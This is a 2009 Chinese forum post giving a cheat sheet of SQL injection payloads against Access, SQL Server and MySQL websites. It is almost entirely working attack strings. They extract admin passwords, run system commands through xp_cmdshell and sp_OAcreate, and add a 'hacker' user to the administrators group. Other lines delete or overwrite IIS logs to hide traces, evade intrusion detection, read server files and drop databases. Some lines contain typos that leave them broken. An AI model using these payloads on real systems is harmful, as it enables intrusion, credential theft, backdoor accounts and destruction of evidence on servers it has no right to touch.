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SQL注射札记

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牛毛

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发表于 2009-7-2 06:28:29 | 显示全部楼层 |阅读模式 来自 河北省沧州市
1、Access

判断是否可注射:
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2

判断网站后台数据库类型:
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from msysobjects)>0

猜解注射:
article.asp?id=6 and exists (select * from admin)
article.asp?id=6 and exists (select password from admin)
article.asp?id=6 and (select top N len(password) from admin)>x
article.asp?id=6 and (select top 1 asc(mid(password,N,1)) from admin)=97

SQL注射Access导出Webshell:Null

2、SQL Server

判断是否可注射:
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
http://www.targer.com/article.asp?action=value' and 1=1
http://www.targer.com/article.asp?action=value' and 1=2
searchpoints%' and 1=1
searchpoints%' and 1=2

确定数据库类型:
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0

查询当前用户数据信息:
article.asp?id=6 having 1=1--

暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--

暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1

暴数据库数据:
and (select top 1 password from admin where id=N)>1

修改数据库中的数据:
;update admin set password='oooooo' where username='xxx'

增添数据库中的数据:
;insert into admin values (xxx,oooooo)--

删数据库:
;drop database webdata

获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0

判断是否支持多句查询:;declare @a int--
判断是否支持子查询:and (select count(1) from [sysobjects])>=0

数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell 'dir c:\'
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
删除扩展存储过程:;exec sp_dropextendedproc 'xp_cmdshell'

在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat 'wscript.shell',@s
;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'

判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))

判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member('db_owner'))

在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0

删除日志记录:
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'

替换日志记录:
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'

获取WEB路径:
;declare @shell int
;exec master..sp_oamethod 'wscript.shell',@shell out
;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt

利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell 'dir /s d:/index.asp'

显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root

利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
'system\currentcontrolset\services\w3svc\parameters\virtual roots\'
'/'

SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。

3、DSqlHelper

检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。

检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')

修改内容:
; UPDATE 表名 set 字段=内容 where 1=1

XP_CMDSHELL检测:
;exec master..xp_cmdshell 'dir c:\'
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'

创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into test (dstr) values(@result);--
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;--

创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree 'c:\'
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:\inetpub\wwwroot\down.bak';--
删除表dirs:
;drop table dirs;--

创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;--
删除表temp:
;delete from temp;--

创建表dirs:
;create table dirs(paths varchar(100), id int);--
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs 'c:\';--
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;--

创建表dirs:
;create table dirs(paths varchar(100), id int)--
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell 'dir c:\'
删除表dirs:
;delete from dirs;--

检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add'
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
启动SERVER服务:
;exec master..xp_servicecontrol 'start', 'server'
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
开启远程数据库1:
; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
开启远程数据库2:
;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

4、MySQL

判断是否可注射:
http://www.targer.com/article.php?id=6
http://www.targer.com/article.php?id=6 and 1=1
http://www.targer.com/article.php?id=6 and 1=2

判断数据库类型及版本:
http://www.targer.com/article.php?id=6/*lucky
http://www.targer.com/article.php?id=6 and ord(mid(version(),1,1))>51/*
http://www.targer.com/article.php?id=6/*!%20s*/
http://www.targer.com/article.php?id=6/*!300000%20s*/

通过UNION或ORDERBY确定当前数据库的字段数目:
http://www.targer.com/article.php?id=6 union select 1,1,1,1,1,1
http://www.targer.com/article.php?id=6 order by 6

猜解当前数据库表名:
http://www.targer.com/article.php?id=6 union select 1,2,3,4,5,6 from admin

利用猜解表名得到的信息查看数据库版本等:
http://www.targer.com/article.php?id=6 union select 1,version(),user(),database(),5,6 fromadmin

暴管理员帐号密码:
http://www.targer.com/article.php?id=6 union select 1,username,3,4,5,6 from admin
http://www.targer.com/article.php?id=6 union select 1,password,3,4,5,6 from admin

暴表中其他信息:
http://www.targer.com/article.php?id=6 union select 1,username,3,4,5,6 from admin where id=2
http://www.targer.com/article.php?id=6 union select 1,password,3,4,5,6 from admin where id=2

判断是当前数据库是否为ROOT权限:
http://www.targer.com/article.php?id=6 and ord(mid(user(),1,1))114/*

判读是否具有文件读写权限:
http://www.targer.com/article.php?id=6 and (select count(*) from mysql.user)>0

读取十六进制c:/boot.ini文件信息:
http://www.targer.com/article.php?id=6 union select 1,load_file(Ox633A2F626F6F742E696E69),3,4,5,6 from admin

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发表于 2009-7-2 14:22:27 | 显示全部楼层 来自 北京市
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